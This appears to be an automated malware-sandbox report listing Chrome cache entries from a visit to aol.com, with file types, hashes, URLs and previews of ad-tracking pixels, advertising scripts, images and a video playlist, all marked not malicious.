Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjYzRfMzQ4NWVmODQwMDIyYjVmMGZkMmUyMGIzZWEzMjYzZTNjYWZmOWZjMjIyOTcyYWFmNjUwZDY3NTM5MjNiNzZhMQ%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w",IV=0x667a979a2ed802eac07ad1a5152a525e.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:6.#EXTINF:

Chrome Cache Entry: 416

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.2226627197680635
Encrypted:	false
SSDEEP:	3:CUzRtwv+L1pse:1/se
MD5:	F837AA60B6FE83458F790DB60D529FC9
SHA1:	14AF87CCEC7F81BB28D53C84DA2FD5A9D5925CDA
SHA-256:	DCECAB1355B5C2B9ECEF281322BF265AC5840B4688748586E9632B473A5FE56B
SHA-512:	A85E09C3B5DBB560F4E03BA880047DBC8B4999A64C1F54FBFBCA17EE0BCBED3BC6708D699190B56668E464A59358D6B534C3963A1329BA01DB21075EF5BEDACE
Malicious:	false
Reputation:	low
URL:	https://sync.targeting.unrulymedia.com/csync/RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 417

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=yieldmo&f=i&uid=VI3M3YYKKoYShFji8P8C&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 418

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=sonobi&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=3e69915a-aa81-453c-8be6-621af7150f41
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 419

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	363
Entropy (8bit):	6.761059627030905
Encrypted:	false
SSDEEP:	6:6v/lhPfFLzpRAarqiS1etz0mMYt0zOK9xN76xn2JfV8jdp:6v/7VLV+armEwmMYGSKrN7m2wn
MD5:	BD5BCC44E24BBB6CF6C0F812237A4427
SHA1:	F4E1FD45D3BC342DB1FB309C341018CE79E23B89
SHA-256:	3A25849C7E8D013BEE43E7E7F93ED0B5DA86F0C128CB78B6BBE7728231CE7FBC
SHA-512:	068D4ADB3779B5AFF837C44158230D2D881EF143807CD17732AB87A1EAD377F77118066865BFDEC4F777B0C18C89663DD7D5D5F179730EF98BEC46D41199BBE3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S...xPLTEGpL......ppp..................]]]MMM.ii..........;;;...~~.YY...............LLL...xxx.uu.@@ddd....II.........))_..I....tRNS........1.:#......IDAT..e.W..@..7.f{K/.F...1E....H..c.PZr..bor..D..3..=......d.Y.%k.(.....V4X..LB1...$$.....mD....0.~..7.@B.rqu<..8..V4...[.r.o..U....B.T...v.l.}W.......D.f.....IEND.B`.

Chrome Cache Entry: 420

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 500x500, components 3
Category:	downloaded
Size (bytes):	68669
Entropy (8bit):	7.987459710714879
Encrypted:	false
SSDEEP:	1536:Zv5OS+o+iV3FeZkKIf4hxQScXnkClsu1RTlufsXG9/FnaDws920VGci:e1iVCkxf4cS8nkCOublukXy/paRg
MD5:	DAFCABCA14FE336B73415CFA63FDED79
SHA1:	139412185FE4FB7DAE36A10C48AF7E44920B2E8F
SHA-256:	DF3308B817F887097DF18196FBCB3EACBBDF0C76C5AD6A25896739D4481268BA
SHA-512:	A12FDC24D00183460A4F9809387366FF88EEE8FFE242626B62BAA40AA337C8489ADCE7E3DC400120366A1CBB09FFBD1C70A4DAD702245F2BAD9F8168CECEFAEE
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?quality=80&thumbnail=500%2C500%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_insider_articles_823%2Fd52b20a7b736dcb9c14eb87515b8b5b8&client=76f99bdb8f78cd44cc0b&signature=a9e3ab5f8833ee12bf23781da21871c0b80dcd41
Preview:	......JFIF..........................................................+".."+2(2<66<LHLdd.............................................+".."+2(2<66<LHLdd............"..........5..................................................................fU4...\.9.&vZEQ..R.8E.(.y.......-C.p..dP>V..g.v_.);3..</..zQ...xvJ.F...m...=.!.k..{GHw.ie.......<.ZPB..c.......G...c.2Q.C7..#7.....6..j.n.j\|S.T...E..M....'. .2...M.;.T..M.H....2.. ...z......S.(.5!vMw\|.k~..V..._.^[....[..t^W.7....z0..s....Q.-..`.^n..[CJ.:.%....u...............lGG..<..(.....3f....lV..b.......Q.%.)...~.X.w...#8..XI..2..4.u..{p.....b..Y:&..U\..R....v.r...\\LK.x.....O?V...S.,.....;s..Y..:....:....t....="nF:Y..^N..]..#.S...J...Y.:.';[...._.^...5....}.np.9..4.+.....A..P...t....&.bD=.J..!?<.0....O.c.tMkg...i...."Y....D.!..S8....X.....).%6e..7..U....m..8 ..... .B...G-.$dF.......mn....3..=.....`....zC..O...(5.P...x..~5$@.X.W.:.o...:.-6.cu..6...y..(...e'.....j....K.p.E./.....a:.I#3..

Chrome Cache Entry: 421

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65508)
Category:	downloaded
Size (bytes):	917195
Entropy (8bit):	5.359274526180229
Encrypted:	false
SSDEEP:	24576:aPn9x8nI1yIVkDcc5giJ2QTiubkaYcNWV/dWnFOqvIplzohhcgZS9jhyz9yeL0Z/:In92nI1yIVkDcc5giJ2QTiubkaYcNWVp
MD5:	9E546BD79CC1C06D1541DD66E962C90B
SHA1:	C6351A21B1FBC5E691DCDB439DE8B739ECD25B2F
SHA-256:	93638F1F3834131C39B645021BBC535EF74BA90F38D38E550C5D496D342B5FFF
SHA-512:	523B2ACA9E310303EA6C3FCCC57B43B60C294178C888EC889AFDAE5CECFD1D838803A69B1BC32E6C007A9C804E74075EE4E326FA6DC4B2E2D450671B19CF12C0
Malicious:	false
Reputation:	low
URL:	https://cdn.taboola.com/libtrc/impl.20240523-16-RELEASE.js
Preview:	/! 20240523-16-RELEASE /..!function(e){e.TRC=e.TRC\|\|{},e.TRC.sharedObjects=e.TRC.sharedObjects\|\|{},e.TRC.sharedObjects.loadedScripts=e.TRC.sharedObjects.loadedScripts\|\|{},e.TRC.sharedObjects.loadedPixels=e.TRC.sharedObjects.loadedPixels\|\|{}}(window),function(){var win,doc;((e,t,r)=>{const i="trc_modal_hidden",o="trc_modal_mask",n="trc_modal_dialog",a="trc_close_modal",s=t.createElement("div"),l=t.createElement("div");let c,d="";function p(){u(l,i),u(s,i),r.dom.off(t,"keyup",m),r.dom.off(t,"click",g),r.dom.off(t.getElementById(a),"click",g),r.dom.off(e,"message",b)}function h(){u(l,o),u(l,i),u(s,n),u(s,i),w.appendChild(l),w.appendChild(s),t.body.appendChild(R),y(d),c=!0}const u=function(e,t){if(e.classList)return e.classList.add(t);r.dom.removeClass(e,t),e.className+=` ${t}`},m=e=>{const t=e.which\|\|e.keyCode;27===t&&p()},g=e=>{const t=e.target\|\|e.srcElement;t!==l&&t.id!==a\|\|(r.dom.stopEvent(e),p())},b=e=>{/http(s)?:\/\/www\.taboola\.com/.test(e.origin)&&e.data&&1025==+e.data&&p()},f=f

Chrome Cache Entry: 423

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65468)
Category:	downloaded
Size (bytes):	75555
Entropy (8bit):	5.255655191794635
Encrypted:	false
SSDEEP:	768:JYCEETMJABY2fx4ZpCkClld+3ztQfV+0ih4O3CpqB+JMZuc+yECMEgCFsR7CsChI:aCEEAW+2fFyts1OypqTC4Qf
MD5:	FC4E0D588A56CF65AA0091DF49183917
SHA1:	B63AF4B0B12BC5E4437C27D17ADFA96C335E30E5
SHA-256:	F41CE0B55299B028C0B6C4AF990B0C065C1270078C09CF93B5CED0087F2E53A6
SHA-512:	E802BF4948924B9C793AD0BC503041B51DC165D7FB27D6FE31373A448C93FCF6690E7EC8479B13D2DF528A7FA4A3AA06193F873AF4EDE1E793E6A70F852C35D8
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/aol_header.fc4e0d588a56cf65.js
Preview:	/! For license information please see aol_header.js.LICENSE.txt /.!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){var e={496:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if(null==e)throw new TypeError("assign requires that input parameter not be null or undefined");for(var r in t=t\|\|{})t.hasOwnProperty(r)&&(e[r]=t[r]);return e},e.exports=t.default},2150:function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return(0,o.default)({},e)};var n,o=(n=r(496))&&n.__esModule?n:{default:n};e.exports=t.default},383:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t=new Date(e.getTime()),o=Math.ceil(t.getTimezoneOffset());t.setSeconds(0,0);var i

Chrome Cache Entry: 424

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 200x200, components 3
Category:	dropped
Size (bytes):	10080
Entropy (8bit):	7.947149634617509
Encrypted:	false
SSDEEP:	192:HWIsSsQ++d+ZlZUuo96zoLPNz2HqUVBmMVSWqit+Xj5M26MsdX:2/jQ+OsZTKco7NzeqymMEviUsXV
MD5:	1D2BAA0F1FB1D157C4EB518F8C2FF2E9
SHA1:	4B3D6B7501B54CFF8A8F1B36B55BCD7A79DDE39C
SHA-256:	2037B12B2E063AF59E92AA91C80B66FAF2A465C6D666F9D81A179AD2FC9FD327
SHA-512:	A8E1BB23604E6DB6BECC8A85FA986CECFEA13AA0D3F1515FE085705D5C9F8C935D416B133964438C2839C6A25902808B3D0C6E4EAFBA1E899B81C68055CED74E
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C.......,..,]>5>]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]...........................................................................................!"..i.E..Zf......l....8..4Q.:l.\.....e..=...=..o..D!.TkHg.+.W.-...t.=d.r[.t...:.zp%P4.e.pw.....".B.(.2..^.j.b.5..I.......M.h...T....v..2..#.b$.J...#.V..fY..Q.0.~k%.2.r..........Ih..j6...f..6K........<........z'V......0....../......6m.6=rjfy..0.>0i..0....5H\&.?.....j......1"..T.AE.zb..2...n...\|..f...g._'...s.Pv..........-R.....Jc...s.w.<....Rt.c`P._......../...........t....y....,..4..2.9Z.S]l..3...t..9....\...<..A.0...VP...k%.... l8S...o......<...7R...5......L.9iRv..n#,...7..[D3.A...t.../W."\|.ul.@...z:'-)...y....jo)-.8t8...S.5...V0q.).V..1.>-..I.uZ.i.].p0..S.0 ..M.s.:i.8.k..}\(0....V.M7F{.7.@..>nk...(C) ....&n.....n}G..._k.]..o[..F.Yy_(r...op..z.2;....Xti..A....1.B...9e.P.a..j....S.4

Chrome Cache Entry: 425

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, progressive, precision 8, 833x100, components 3
Category:	downloaded
Size (bytes):	12180
Entropy (8bit):	7.92777465185594
Encrypted:	false
SSDEEP:	192:nb6aGfM81hziTWAvvyGWmpyAnp8pzwggG1GXTxbkxCfaNoI4/Dx4aRXvCq4kUr0:b6aKzyHyGWmpyKpOzwgg9XwCf2oJVxvh
MD5:	74F7C49C7421783A21F05158E9DE7CD7
SHA1:	5F272F843905CCB87567A2CA8BAD77EE98A192B2
SHA-256:	948F7600959032D3CFC84F3D644ECA1C26547D28CBB7CCC15A7ACB70CFC974D4
SHA-512:	A6276B18690BD98634ED2F465F2A31FA159367C19C9C842F2A9F1CD3574714967E35F2C8435DBC1224ACC3ED7BABF15C1B50981BF2A1EBA8C2227148C7F9E322
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aa/aol/homepage/stickyFooter/adfree/AdFree_SayGoodbyeV2_1x.jpg
Preview:	.....!Adobe.d....................................................................................................................................................................d.A..".........................................................................................0.. P5@`..2346.p.17.........................."#!2B3.RCS4. 1b..cs..$..0Qr...@.Aa....TP..tp.q...5...%.....................2...!".r.Pb. `1AQq.a.B..#Ss.R..............................................................#..a%Mq......w.g..e..[.g..F......dm&...6..6P.r}c..l.=Lm.Lf..-O..vV..6...&.mlm$..3k..c....`e.}.P...6.P......+...Z....Z....Z....Z....Z...T.....R.3]^..s..#.xjM....B....Zt!....2..h.H.........r5...,q3...8....k..=...;.osaa.........F-.....bLn.c.u...IB..` .gb..`5.....`s..E...%.d-...qo...........)`....56j':L>]...?5.Dv..7.WJQ(........g<....S.c...N........XS..}.W.V...V...].).\].....T\|z/...y_...y[.V.'nX.{.)..v\....jS.g..3......la.bq..7s.0>-\.\%34.V.\.s.._.)Y.....3wX.8._.........V.^c..,.....S.......

Chrome Cache Entry: 426

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.145760679283741
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCfpxIJikViJS4RKbuviyiFdfxcXl/OxuGQHRRAvn:TMVBd/faVic4subinfSlmSRRAv
MD5:	97D2E3C075A4EA1F775CCE418FDE177D
SHA1:	C52809A609DDC6A93BC3F2D934954AEF1A1CEC7D
SHA-256:	8CD629187427FDB93787D7156BE7A32C391BB2A8DA471BBAA274E806E48B36E7
SHA-512:	C3ECE0C86DDB1B546B503F2DF4309CCE64892113B64B15DAC2C5B7E9AB62D925DD3BA78C1AD2303AEF07D5233A11A0CC94E21A5A4264CE0A1D945F7BA3B34B03
Malicious:	false
Reputation:	low
URL:	https://pubads.g.doubleclick.net/gampad/ads?iu=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&plcmt=1&ad_type=video&output=xml_vast4&gdfp_req=1&env=vp&sz=640x480&tfcd=0&unviewed_position_start=1&vpa=click&vpmute=1&vpos=preroll&correlator=3143594797525639&url=https%3A%2F%2Fwww.aol.com%2F&description_url=https%3A%2F%2Fwww.aol.com%2F&gpp=DBAA&gpp_sid=-1&gdpr=0&gdpr_consent&us_privacy=1YNN&npa=0&ltd=0&is_lat=0&ppid&cust_params=lmsid%3Da077000000IpoJiAAJ%26pstaid%3D42b897a6-9771-3329-b351-69a701a77438%26colo%3Dir2%26lang%3Den-US%26site%3Daolhomepage%26region%3DUS%26expn%3Daolhomepage%26spaceid%3D1197803361%26loc%3Dpreroll%26bucket%3Daol-acookie-control%2Caol-aa-1%26plseq%3D1%26axid%3D%26cid%3D6bdcc9b44e4944e0afb2acf2b5e6c7e6%26show_name%3DAP%26bka%3D0%26bkg%3D0%26hb_source%3Ds2s%26hb_cache_region%3Deuwe1%26hb_bidder_seatid%3DDefaultBidder-1&sdkv=h.3.642.0&osd=2&frm=2&vis=2&sdr=1&hl=en&afvsz=200x200&is_amp=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0.&u_so=l&ctv=0&mpt=brightcove%2Fplayer-ht&mpv=5.4.2&sdki=445&ptt=20&adk=3265529917&sdk_apis=2%2C7%2C8&omid_p=Google1%2Fh.3.642.0&media_url=blob%3Ahttps%253a%2F%2Fs.yimg.com%2F3115b80a-e9bb-427b-817f-ce76ffd72058&sid=CB206DAA-4CA8-4B6F-BBA1-D422D3FC0CBB&nel=1&eid=44754608%2C95322027%2C95323893%2C95326337%2C95331589%2C95332046&ref=https%3A%2F%2Fwww.aol.com%2F&top=https%3A%2F%2Fwww.aol.com%2F&loc=https%3A%2F%2Fs.yimg.com%2Frx%2Fev%2Fbuilds%2F1.6.29%2Fpframe.html&dlt=1716503689981&idt=15720&dt=1716503715766&scor=3634392078380353&ged=ve4_td26_tt10_pd26_la26000_er0.0.0.0_vi0.0.276.368_vp0_ts0_eb16683
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vast.xsd" version="4.0"/>.

Chrome Cache Entry: 427

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2346
Entropy (8bit):	4.03268128956525
Encrypted:	false
SSDEEP:	48:/3Ruld0ijBKHrTqCyOb7EbCO+Tp7pfaKDFP4ToOE/4:5XEgTHyO/EWph9D94kA
MD5:	93FE207C1B9A8C0B94BD6672C011A260
SHA1:	ECA9FC588B9A32F8A965EBA84C956FF36DAB9FD5
SHA-256:	CD34431EB9DFC5CA38EDE89350BE366B641310FC6929CDDEDE93442EDB93C74A
SHA-512:	EDB068CA4F04078FDFD10D4C77DF21B1B1B773533BA72E4C972EA2FAAB708AFF8634A3878C4ACCD5B5A3AF17F222B0204D7EB9A8A9ACAD0DC531E2B6822A0B99
Malicious:	false
Reputation:	low
Preview:	<svg width="33" height="11" viewBox="0 0 33 11" fill="none" xmlns="http://www.w3.org/2000/svg">. <path d="M0.462 8.302C1.36733 7.59267 2.10933 6.98133 2.688 6.468C3.26667 5.95467 3.752 5.42733 4.144 4.886C4.536 4.33533 4.732 3.81267 4.732 3.318C4.732 3.01933 4.662 2.786 4.522 2.618C4.39133 2.45 4.19533 2.366 3.934 2.366C3.66333 2.366 3.45333 2.48267 3.304 2.716C3.15467 2.94 3.08467 3.27133 3.094 3.71H0.434C0.462 2.87933 0.644 2.19333 0.98 1.652C1.316 1.10133 1.75467 0.699999 2.296 0.447999C2.83733 0.186666 3.43933 0.0559993 4.102 0.0559993C5.25 0.0559993 6.104 0.340666 6.664 0.909999C7.224 1.47933 7.504 2.21667 7.504 3.122C7.504 4.09267 7.17733 5.00267 6.524 5.852C5.88 6.70133 5.07267 7.462 4.102 8.134H7.602V10.36H0.462V8.302ZM7.8167 5.236C7.8167 3.63067 8.14337 2.366 8.7967 1.442C9.45004 0.517999 10.4767 0.0559993 11.8767 0.0559993C13.2767 0.0559993 14.3034 0.517999 14.9567 1.442C15.6194 2.366 15.9507 3.63067 15.9507 5.236C15.9507 6.86 15.624 8.134 14.9707 9.058C14.3174 9.982 13.286

Chrome Cache Entry: 428

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2532
Entropy (8bit):	7.853709439739501
Encrypted:	false
SSDEEP:	48:YHnrCpFpmvXumB9BU6QTPyODrMOm6BuaJ8lkAk/:YHrCWglPyqrMOm6YaJKl8
MD5:	E416CED55EBB3D5700B8BA1DB47AF2C9
SHA1:	1894FDF6AFA40BA632171F600418A68375F83502
SHA-256:	D6237333BAC7639756FC1709DE1E3F23C31C6C022D548A4D99FE4539B69F87D6
SHA-512:	8C91AE51241CBB827AE99F22318BBD3F46054C99DE8DAD421FF2F2D34962C06E64E7E4F96320FB0F55964C3F1570755AA3902C4C343E3F996B737769D8355534
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fbj34PPEboLt0lNpiCqZ05Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fnba%2F20181214%2F500x500%2Fmavericks_wbg.png&client=76f99bdb8f78cd44cc0b&signature=dfd6b0388f649b2725da8a42d8805ed86e4d5259
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...}................................lw}dpv........................................................................................ams..........................................................................".S.........#..'.S. 19..&.+4!2;."+..&.....$.8u.!7..9IP.?...3./8..#R`g.?G>MU)9A.A.. ).$-...Yho1AI.&Dgu\|..Y......Q..)2$5>'7@v..M\c./].1a.(L.R..OIW].:y.6qXgo.?......$......Ucj.-6...FT[AOV......}...G.^kq../....O.4DK....;~Ubh@PX.M.\in......Wel2BJ.......HW_DS[\|.....JY`....'0...anu...my.y...'H.1d.D.\kr.>..B..+S.#<;KR....E..%-...dqx....I.......FU]...LZa-=E........n\|....p}....~......N..F.....J..3h..-....,V....4j5FN...CQY............s.....jw.......;D...#4<....5m....C.q\|....+Mp..........x........u...&/jv{........'>....P..=c.......#2....+Q...ZgmQQ....EtRNS.E..%....^.......n....F..l.;.y.@.....W2b{.i.........../KJ7...M.....q...NIDAT.....\.w...?.t.j......]..\|..7..pI.....#"K 2e........Q....-n....uY.^oz..M...>...9.....O..o..In..

Chrome Cache Entry: 429

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=gumgum
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 430

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:PUyESyY5hE:PUhu5hE
MD5:	5BF641491A20F2044C51558037392F1A
SHA1:	39676EF27B5C648C57313FAEE7BE8554EA58A4C0
SHA-256:	50BA226E057158000294A012063FE8A58EC82DCE44F29DF8A85A3B2130198ABE
SHA-512:	EDC014AA799F5129CCDE382DD4C28D4C362EDD8C15DED60169AE01A8440C6DB02E3C795F704431F615B4A95710C5E06AA01648E0893F6874C5A5A711015BC7AB
Malicious:	false
Reputation:	low
URL:	https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjYzRfMzQ4NWVmODQwMDIyYjVmMGZkMmUyMGIzZWEzMjYzZTNjYWZmOWZjMjIyOTcyYWFmNjUwZDY3NTM5MjNiNzZhMQ%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w
Preview:	..g......b......

Chrome Cache Entry: 431

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:PUyESyY5hE:PUhu5hE
MD5:	5BF641491A20F2044C51558037392F1A
SHA1:	39676EF27B5C648C57313FAEE7BE8554EA58A4C0
SHA-256:	50BA226E057158000294A012063FE8A58EC82DCE44F29DF8A85A3B2130198ABE
SHA-512:	EDC014AA799F5129CCDE382DD4C28D4C362EDD8C15DED60169AE01A8440C6DB02E3C795F704431F615B4A95710C5E06AA01648E0893F6874C5A5A711015BC7AB
Malicious:	false
Reputation:	low
